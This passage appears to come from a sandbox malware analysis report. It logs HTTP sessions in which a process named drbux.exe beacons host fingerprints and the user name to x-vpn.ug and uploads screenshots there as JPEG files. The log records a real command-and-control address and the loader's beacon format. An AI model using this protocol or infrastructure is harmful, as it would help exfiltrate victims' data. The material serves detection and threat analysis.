Jul 19, 2021 18:36:15.517221928 CEST	14422	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:15.517399073 CEST	14423	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:15.521390915 CEST	14433	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:15.521445990 CEST	14435	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:15.610181093 CEST	14436	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:15 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:15.614346981 CEST	14442	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:15.614707947 CEST	14445	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:15.615813971 CEST	14450	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:15.615847111 CEST	14453	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:15.616214037 CEST	14455	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:36:15.616417885 CEST	14457	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:36:15.616919994 CEST	14460	OUT	Data Raw: ac 91 b4 64 2e 20 5d b8 dc 31 d4 60 63 14 c8 bc 4f 68 91 9b 06 d1 ee 9b 49 5d 35 b4 f8 e2 fb 70 f3 c0 69 96 62 c6 53 11 53 f3 0c 00 10 00 0f e2 78 9b ad d3 fa df fe 01 d8 95 2e bf d6 ab fe 09 37 d8 f4 1b 2d 2c 5f 6a b6 1a d4 06 4d 4e 5b 23 08 b9 Data Ascii: d. ]1`cOhI]5pibSSx.7-,_jMN[#@%<\|1Zmc}enod&`R32\.I'kEh..{<^}A@".1.'885\|@/#_{{kiJu@_#^jV_Fd`u[+DRG;8l

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
146	192.168.2.6	49900	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:15.735075951 CEST	14504	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:15.828727961 CEST	14521	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:15 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
147	192.168.2.6	49901	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:16.026166916 CEST	14522	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:16.120614052 CEST	14562	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
148	192.168.2.6	49902	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:16.026717901 CEST	14522	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:16.026916981 CEST	14523	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:16.027055979 CEST	14533	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:16.027216911 CEST	14535	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:16.109076023 CEST	14536	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:16 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:16.109493017 CEST	14539	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:16.109674931 CEST	14542	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:16.110018969 CEST	14544	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:16.110261917 CEST	14547	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:16.110507011 CEST	14550	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:16.110625982 CEST	14553	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:16.110857964 CEST	14555	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
149	192.168.2.6	49903	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:16.316184044 CEST	14621	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:16.399612904 CEST	14622	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:16 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.6	49752	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:29.097806931 CEST	2573	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:29.097892046 CEST	2573	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:29.098069906 CEST	2583	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:29.098181963 CEST	2586	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:29.181103945 CEST	2586	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:29 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:35:29.181366920 CEST	2589	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:29.181533098 CEST	2592	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:29.181962967 CEST	2597	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:29.182113886 CEST	2600	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:35:29.182387114 CEST	2603	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
